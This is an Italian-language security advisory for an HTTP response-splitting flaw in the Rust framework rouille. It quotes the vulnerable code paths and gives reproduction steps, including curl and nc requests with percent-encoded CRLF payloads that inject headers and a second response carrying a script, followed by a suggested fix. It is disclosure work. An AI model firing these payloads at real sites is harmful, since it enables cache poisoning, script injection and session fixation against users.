
Avviso di sicurezza: HTTP Response Splitting tramite valori non convalidati delle intestazioni di risposta (rouille)
ID CVE assegnato: CVE-2026-66746
rouille scrive i valori degli header di risposta al client senza verificarne la presenza di carriage return o line feed. Un'applicazione che inserisce testo influenzato dall'attaccante in un valore di header emette quindi header aggiuntivi, o un'intera seconda risposta HTTP, sul wire.
Due proprietà di rouille rendono questo raggiungibile nel codice ordinario. Request::get_param decodifica i percent-encoding, quindi %0d%0a in una query string diventa un vero CRLF. E session::session copia il valore del cookie Cookie del client stesso in Set-Cookie senza alcuna validazione.
Ogni altro stack HTTP Rust ampiamente utilizzato rifiuta questo a livello di tipo: http::HeaderValue::from_str restituisce InvalidHeaderValue per CR e LF, motivo per cui hyper, axum, actix-web e warp non sono esposti allo stesso modo.
URL del repository: https://github.com/tomaka/rouille
| Prima versione interessata | 0.4.0 (2016-12-14) per il percorso degli header di risposta qui sotto |
| Ultima versione interessata | 3.6.2 (2023-04-24), la release attuale |
| Corretta in | nessuna versione corretta al momento della scrittura |
Le release precedenti alla 0.4.0 emettono risposte attraverso un percorso di codice diverso che non è stato esaminato, quindi non vengono rivendicate in un senso o nell'altro. La riflessione session::session descritta nel percorso B esiste dalla 0.3.2 (2016-12-02) in poi.
CWE-113 (Neutralizzazione impropria delle sequenze CRLF negli header HTTP), un caso specifico di CWE-93 (Iniezione CRLF).
Punteggio base CVSS 4.0: 5.3 (Medio)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Il percorso A richiede un attaccante remoto non autenticato e una vittima che segue un link fornito dall'attaccante. L'attaccante deve far sì che l'applicazione inserisca qualsiasi stringa derivata dalla richiesta in un header di risposta. Il reindirizzamento a un parametro di query next o return_to è il caso comune.
Il percorso B richiede solo che l'applicazione chiami session::session e legga l'id di sessione. L'attaccante controlla il proprio header Cookie, quindi da solo è auto-inflitto. Diventa un attacco contro altri quando una cache condivisa memorizza la risposta suddivisa, o quando viene combinato con un altro modo per impostare un cookie nel browser della vittima.
rouille/src/lib.rs, righe da 624 a 640, passa i valori direttamente:
624 for (key, value) in rouille_response.headers {
625 if key.eq_ignore_ascii_case("Content-Length") {
626 continue;
627 }
628
629 if key.eq_ignore_ascii_case("Upgrade") {
630 upgrade_header = value;
631 continue;
632 }
633
634 if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635 {
636 response.add_header(header);
Header::from_bytes controlla solo che i byte siano ASCII, e CR e LF sono ASCII. tiny_http-0.12.0/src/common.rs, righe da 166 a 172:
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
Il valore viene poi scritto senza alcun escaping.
tiny_http-0.12.0/src/response.rs, righe da 99 a 104:
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
Request::get_param decodifica gli escape percentuali, quindi il chiamante riceve veri caratteri di controllo. rouille/src/lib.rs, righe da 928 a 932:
928 .map(|value| {
929 percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930 .decode_utf8_lossy()
931 .into_owned()
932 })
rouille/src/session.rs prende la chiave dal cookie del client alla riga 59 e la interpola nell'header di risposta alle righe da 75 a 81:
59 key: cookie.into(),
...
75 let header_value = format!(
76 "{}={}; Max-Age={}; Path=/; HttpOnly",
77 cookie_name, session.key, timeout_s
78 );
79 response
80 .headers
81 .push(("Set-Cookie".into(), header_value.into()));
Passo 1. Avvia un server che reindirizza a un parametro di query.
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8002", |request| {
let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
Response::redirect_303(next)
});
}
Passo 2. Richiedilo con %0d%0a nel parametro.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'
Risultato. X-Injected arriva come header a sé:
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0
Passo 3. Estendi il payload oltre la fine degli header per emettere un'intera seconda risposta.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'
Risultato. Una richiesta, due risposte complete. La seconda trasporta una riga di stato, un content type e un body scelti dall'attaccante:
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert(1)</script>
Passo 1. Avvia un server che utilizza l'idioma di sessione documentato.
use rouille::{session, Response};
fn main() {
rouille::start_server("127.0.0.1:8006", |request| {
session::session(request, "SID", 3600, |s| {
Response::text(format!("session id: {}", s.id()))
})
});
}
Passo 2. Invia un cookie il cui valore contiene un LF nudo. \n qui sotto è un singolo line feed, \r\n è un CRLF.
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006
Risultato. Il valore esce da Set-Cookie sulla propria riga:
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly
Il percorso B ha tre limiti degni di nota. Solo un LF nudo passa, perché un CRLF avrebbe terminato la riga dell'header in tiny_http, quindi il client o la cache devono trattare un LF solitario come terminatore. Tutto ciò che segue il punto di iniezione trasporta ancora il suffisso ; Max-Age=3600; Path=/; HttpOnly dello stesso format!, quindi la primitiva è un header con una stringa finale fissa piuttosto che un header arbitrario pulito. E l'attaccante controlla solo il proprio cookie. Il percorso A non ha nessuno di questi limiti.
Esecuzione di script nel contesto di sicurezza dell'origine, avvelenamento della cache quando una cache condivisa memorizza la risposta iniettata contro l'URL della vittima, fissazione della sessione tramite un Set-Cookie iniettato e sovrascrittura di header di sicurezza come CSP o CORS. Poiché il percorso A produce un vero CRLF, ogni client e cache divide su di esso.
Valida i valori degli header in Server::process prima di passarli a tiny_http, in rouille/src/lib.rs attorno alla riga 634:
fn header_value_is_safe(v: &str) -> bool {
!v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}
Restituisci un 500 per l'intera risposta piuttosto che eliminare l'header problematico, così il fallimento è visibile invece di cambiare silenziosamente la risposta.
Valida anche la chiave di sessione in session::session: rifiuta un valore di cookie che non sia [A-Za-z0-9]+ e genera un nuovo id invece. Controllare in Response::with_additional_header, with_unique_header e nei costruttori redirect_* farebbe emergere l'errore nel punto di chiamata, dove l'autore dell'applicazione può intervenire.